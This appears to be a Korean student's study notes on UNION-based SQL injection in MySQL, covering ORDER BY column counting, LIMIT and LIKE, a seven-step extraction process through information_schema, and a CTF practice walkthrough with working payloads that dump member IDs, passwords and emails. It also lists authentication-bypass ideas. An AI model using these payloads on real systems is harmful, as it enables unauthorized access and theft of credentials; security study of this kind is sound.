본문 바로가기

개념정리

6주차 UNION SQL INJECTION/ORDER BY/LIMIT/LIKE

6주차 UNION SQL INJECTION /ORDER BY/LIMIT/LIKE/


SQL INJECTION 데이터 추출
- Database를 사용하는 곳에서 데이터를 추출 할 수 있다
- Data가 웹페이지에 출력 되는가 안되는가 확인 해야한다.
   -> 출력 : 게시판, 마이페이지 등
   -> 미출력 : 로그인 등등


 
Data가 출력 되는 페이지에서의 SQL INJECTION
- 어떤 데이터베이스가 출력 되는 곳인지 확인해야한다
- 게시판이면 게시판 관련 디비 마이페이지면 그 관련 디비
- 즉, 지정된 테이블값과 컬럼이 존재한다
- 이미 웹페이지에 있는 WAS의 전 후로는 바꿀 수 없어서 조작할 수 있는 부분을 공략해야 한다
- 따라서 다른테이블의 데이터를 출력하고싶을때는?
- UNION / ORDER BY 등을 사용한다
 
EX)
인증우회
- 쿠키 변조 -> 쿠키로 인증 ->원하는 로그인 값으로 파라미터 변조
- 직접 접근 -> 인증후사용기능 or 2차 인증 -> 인증 후 토큰을 발급후 세션 저장 or 토큰을 들고 요청
- 응답값 변조 -> 인증전 세션정보가 서버에 존재 -> 로그인 결과 응답 성공했을때로 변조 
- 인증 번호 우회 -> 오류 횟수 부재 -> 파이썬 사용해 차례대로 대입
 


 
UNION

select 컬럼 from 테이블 UNION select ~~~

- select 컬럼 from 테이블 UNION select ~~~
- SELECT 를 한번 더 사용 할 수 있다.
 
 
EX)

select pass from member UNION select from id

-> select pass from member  UNION select from id from member
    ->앞컬럼으로 이어서 합쳐져서 나온다

pass
pass컬럼데이터1
pass컬럼데이터2
id컬럼데이터1
id컬럼데이터2

 

select id,pass from member UNION select '아무값1', 아무값2'

-> select id,pass from member UNION select '아무값1', 아무값2'
    -> 아무값이 컬럼수에 맞게 출력되어 나온다 
    -> 컬럼 개수와 아무값의 개수가 같아야한다!!!

id pass
id컬럼데이터1 pass컬럼데이터1
id컬럼데이터2 pass컬럼데이터2
아무값1 아무값2

 


데이터가 일부만 출력되는 UNION SQL INJECTION
- 마이페이지나(한사람에 대해서만) 게시판 글 보기 페이지(특정 게시글의 내용만) 등 
- LIMIT/ORDER BY 사용하면 보이지 않는 값을 확인 할 수있다. LIMIT이 더 적합
 
ORDER BY
- select 컬럼 from 테이블 ORDER BY 정렬하고싶은컬럼/인덱스숫자   asc(오름차생략가능)/desc(내림차)
- 출력되는 데이터를 정렬한다
- select문 맨 뒤에 쓴다
- 기본설정은 오름차순 
- 정렬하고싶은컬럼 대신 인덱스숫자를 사용하면 그 숫자를 기준으로 오름차순 정렬된다
- 숫자를 사용할때는 컬럼갯수 이상을 쓰면 오류 출력된다. 즉, 이를 이용해서 컬럼 갯수를 알 수 있다.
 
EX) 

select id,pass, from member ORDER BY id

-> select id,pass, from member ORDER BY id
    -> id오름차순으로 정렬 

 select id,pass from member ORDER BY 1

-> select id,pass from member ORDER BY 1
    -> id오름차순으로 정렬

select id,pass from member ORDER BY 2

-> select id,pass from member ORDER BY 2
    -> pass오름차순으로 정렬

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' order by 1 #

->' union select 1,column_name from information_schema.columns where table_name = '테이블명' order by 1 #
이런식으로 사용
 
 
 
 
LIMIT 
- select 컬럼 from 테이블 limit 인덱스번호, 카운트 수
- 인덱스 번호 번째 데이터를 카운트수 만큼 가져오겠다.
- 순서를 바꿔 일부만 출력하면서 출력되지 않는 데이터를 볼 수 있다. 
 
EX)

select * from member limit 0,1

-> select * from member limit 0,1
    -> 0번째 데이터를 1개 만 가져오겠다.

select * from member limit 2,3

-> select * from member limit 2,3
    -> 2번째 데이터를 3개 만 가져오겠다.
 

' union select 1,column_name from information_schema.columns where table_name = '테이블명' limit 2,1 #

->' union select 1,column_name from information_schema.columns where table_name = '테이블명' limit 2,1 #
 


 
LIKE
- 해당 철자가 들어간 부분을 뽑아서 출력할 수 있다
EX)

select * from board where title like '찾는글자'

-> select * from board where title like '찾는글자
    -> 정확한 찾는글자 단어 그자체가 들어간걸 찾는다

select * from board where title like '%찾는글자%'

-> select * from board where title like '%찾는글자%'
    -> xxxx찾는글자xxxx까지 찾음

select * from board where title like '%찾는글자'

-> select * from board where title like '%찾는글자'
    -> xxxx찾는글자 찾음

 select * from board where title like '찾는글자%'

-> select * from board where title like '찾는글자%'
    -> 찾는글자xxxx 찾음
 


 
UNION SQL INJECTION PROCESS
1. SQL INJECTION POINT - Data 출력 확인해 포인트 찾기
2. COLUMN 개수 찾기
3. 출력되는 COLUMN 위치 찾기 
4. DATABASE 이름 확인
5. TABLE 이름 확인
6. COLUMN 이름 확인
7. DATA 추출 


 
1. SQL INJECTION POINT - SQL문 추측
- sql injection이 되는 부분인지 어떤 sql문을 썼는지 추측한다.
- 아 select, where like 사용했겠구나 등등
EX)

select * from game where name like '%있는값%'

- select * from game where name like '%있는값%' 추측

select * from game where name like '%있는값%' and '1%'=1 %'

    -> 입력값 =   over%' and '1%'=1
        -> select * from game where name like '%있는값%' and '1%'=1 %'
        -> 실행되면 아 %사용하는구나 ' 로 조작 가능하구나 추측한게 맞겠구나 확인


2. COLUMN 개수 찾기 - ORDER BY

select * from game where name like '%' ORDER BY n # %'

-  select * from game where name like '%' ORDER BY n # %'  
- 페이지에 출력되는 값 말고 ORDER BY로 개수를 확인하는 것이 중요하다.
EX) 

select * from game where name like '%' ORDER BY 1 # %'

-> 입력값 = ' ORDER BY 1#  -> 오류 안뜨면 컬럼 1개 이상있구나
-> 입력값 = ' ORDER BY 2#  -> 오류 안뜨면 컬럼 2개 이상있구나
-> 입력값 = ' ORDER BY 3#  -> 오류 안뜨면 컬럼 2개 이상있구나
-> 입력값 = ' ORDER BY 4#  -> 오류 안뜨면 컬럼 4개 이상있구나
-> 입력값 = ' ORDER BY 5#  -> 오류 뜨면 아 컬럼 4개 있구나


    
3. 출력되는 COLUMN 위치 찾기 - UNION SELECT 컬럼 숫자

select * from game where name like '%' UNION SELECT n,n+1,n+2,n+3 · · · # %'

- select * from game where name like '%' UNION SELECT n,n+1,n+2,n+3 · · · #%'
- 구한 컬럼 갯수만큼 숫자 n값
EX)

select * from game where name like '%' UNION SELECT 1, 2, 3, 4 # %'

-> 입력값 = ' union select 1,2,3,4 #
    -> 컬럼 갯수 맞춰서 어떻게 출력되나 확인
    -> 아 출력은 2 3 4번 만되는구나~~ 첫번째는 안되는구나~~ 
 
+ 원하는 위치에 원하는 값 출력
    -> 그래서 2 3 4 값 중에 출력하고싶은 값 넣어서 출력할수있겠구나~ 확인
        EX) 입력값 = ' union select 1,출력하고싶은값,3,4 #


4. DATABASE 이름 확인 

select * from game where name like '% database() #%'

- database()
EX) 

select * from game where name like '%' union select 1,database(),3,4 # %'

-> 입력값 = ' union select 1,database(),3,4 #
    -> select * from game where name like '%' union select 1,database(),3,4 # %'
    -> 2번째 컬럼값에 DATABASE 이름 출력 segfault_sql


5. TABLE 이름 확인

select * from game where name like '%아무값' union select table_name from information_schema.tables where table_schema = '디비이름' # %'

- information_schema.tables -> table_name/table_schema
- DATABASE에 테이블이름이 저장되어있는 테이블을 이용
EX)

select * from game where name like '%아무값' union select 1,table_name,3,4 from information_schema.tables where table_schema = '디비이름' # %'

-> 입력값 =
    아무값' union select 1,table_name,3,4 from information_schema.tables where table_schema = '디비이름' #
    -> select * from game where name like '%
       아무값 'union select 1,table_name,3,4 from information_schema.tables where table_schema = '디비이름' # %'
       + 아무값 안넣으면 원래 table값의 내용 다 출력됨
    -> 2번째 컬럼값에 TABLE 이름 출력 game, member, secret, secret_member
       + where table_schema = '디비이름' 이 문장을 안쓰면 요상한테이블 전체가 다 출력된다.
 
아무값' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'segfault_sql' #
 


6. COLUMN 이름 확인

select * from game where name like '%아무값'union select column_name from information_schema.columns where table_name = '테이블 이름' # %'


- information_schema.columns -> column_name/table_name
- DATABASE에 컬럼이름이 저장되어있는 테이블을 이용
EX)

select * from game where name like '%아무값'union select 1,column_name,3,4 from information_schema.columns where table_name = '테이블 이름' # %'

-> 입력값 =
    아무값' union select 1,column_name,3,4 from information_schema.columns where column_name='테이블 이름'#
    -> select * from game where name like '%아무값'
        union select 1, column_name,3,4 from information_schema.columns
        where column_name = '테이블 이름' %'
    -> 2번째 컬럼값에 COLUMN 이름 출력 user_id, user_pass, name, user_level, info, id, pass, email
    + 아무값 안넣으면 원래 table값의 내용 다 출력됨
 


7. DATA 추출 - 테이블이름, 컬럼이름

select * from game where name like '%' union select 원하는컬럼이름1, 원하는컬럼이름2 from 원하는테이블이름 # %'


- 컬럼 값만 존재할경우 오류 출력 되기 때문에 하나하나 확인해야함
EX)

select * from game where name like '%' union select 1,컬럼이름1, 컬럼이름2, 4 from 테이블이름 # %'

-> 입력값 = ' union select 1, 컬럼이름1, 컬럼이름2, 4 from 테이블이름  #
    -> select * from game where name like ' union select 1,컬럼이름1, 컬럼이름2, 4 from 테이블이름 # % '
    + 값이 없으면 전체출력 있으면 해당값만 출력
    + 앞에 1' or '1'='1'처럼 참값이 있으면 원래 sql 앞 구문의 select값이 참이 되어서 모든 값이 출력 됨 


 
MYSQL 구조
 
INFORMATION_SCHEMA.TABLES

TABLE_CATALOG 테이블이 속한 카탈로그, 값은 언제나 def
TABLE_SCHEMA 테이블이 속한 스키마(데이터베이스) 이름
TABLE_NAME 테이블 이름
TABLE_TYPE BASE TABLE / VIEW / SYSTEM VIEW /
INFORMATION_SCHEMA
ENGINE 테이블 스토리지 엔진
ROW_FORMAT 행 저장 형식
TABLE_ROWS 행 수
AVG_ROW_LENGTH 행 평균 길이
DATA_LENGTH 데이터 파일의 길이(byte)
MAX_DATA_LENGTH 데이터 파일의 최대 길이
INDEX_LENGTH 인덱스 파일의 길이(byte)
DATA_FREE 할당되었지만 사용되지 않은 공간(byte)
AUTO_INCREMENT AUTO_INCREMENT 값
UPDATE_TIME 테이블이 마지막으로 업데이트된 날짜
CHECK_TIME 테이블을 마지막으로 확인한 시간
TABLE_COLLATION 기본 데이터 정렬
CHECKSUM 실시간 CHECKSUM 값
CREATE_OPTIONS 분할된 테이블
+ INNOB_TABLESPACES ENCRYPTION
암호화된 테이블당 파일과 일반 테이블 식별
TABLE_COMMENT 테이블 생성시 사용된 설명
OR 테이블 정보에 액세스할수 없는 이유

 
INFORMATION_SCHEMA.COLUMNS

TABLE_CATALOG 테이블이 속한 카탈로그, 값은 언제나 def
TABLE_SCHEMA 테이블이 속한 스키마(데이터베이스) 이름
TABLE_NAME 테이블 이름
COLUMN_NAME 컬럼 이름
COLUMN_KEY 컬럼 인덱싱 확인
EXTRA 특정 열에 대해 사용할 수 있는 추가정보
PRIVILEGES 해당 컬럼이 가지고 있는 권한
COLUMN_COMMENT 컬럼 정의 설명
GENERATION_EXPTESSION 컬럼 값 계산

 


http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php

 

Normaltic's SQL Practice

 

ctf.segfaulthub.com:1020

doldol 데이터만 출력하기

1. SQL INJECTION POINT
- select * from 테이블 where 패스워드 = '비번값' 추측

-> 1' or '1'='1 오류
-> select * from 테이블 where 패스워드 = '비번값' ~~~ 뭔가 더있음 주석 꼭 필요 확인

-> 1' or '1'='1'#
->성공
 
2. COLUMN 개수 찾기
select * from 테이블 where 패스워드 = '비번값' ~~~ 

-> ' order by 1 # 
-> 값이 true가 안돼서 데이터 출력이 안됨
 
 

-> 1' or '1'='1' order by 1 #
-> 1' or '1'='1' order by 2 #
-> 1' or '1'='1' order by 3 #
-> 1' or '1'='1' order by 4 #

-> 1' or '1'='1' order by 5 #
-> 컬럼 4개 존재함을 확인
 
 
3. 출력되는 COLUMN 위치 찾기 

-> 1' or '1'='1' union select 1,2,3,4 #
->1 2 3 4 번째 순서대로 전부 다 출력 확인
 
4. DATABASE 이름 확인

-> 1' or '1'='1' union select table_name,2,3,4 #
-> 출력 첫번째 값에 segfault_sql 출력 확인
 
 
5. TABLE 이름 확인

-> 1' or '1'='1' union select table_name,2,3,4 from information_schema.tables where table_schema = 'segfault_sql' #
출력 첫번째 값에 test,game,member,secret,secret member 출력 확인
 
 
6. COLUMN 이름 확인

-> 1' or '1'='1' union select column_name,2,3,4 from information_schema.columns where table_name = 'member' # 출력 --> 첫번째 값에 doldol,fake,normaltic,test,game,member,secret,secret member 출력 확인
 
7. DATA 추출 

-> 입력값 = 1' or '1'='1' union select name,pass,3,4 from member #
-> name값은 컬럼명만 존재해서 오류가 뜸
 

-> 1'or '1'='1' union select info,id,pass,email from member #
->1' or '1'='1'로 원래 sql 앞 구문의 select값이 참이 되어서 모든 값이 출력 됨 
-> 그러나 이부분은 무슨 순서이고 무슨 값인지 알 수 없으므로 컬럼 대입해보면서 찾는게 중요
 
 

->' union select info,id,pass,email from member #
 

-> ' union select info,id,pass,email from member where info='dol'#
-> id가 doldol인 값만 출력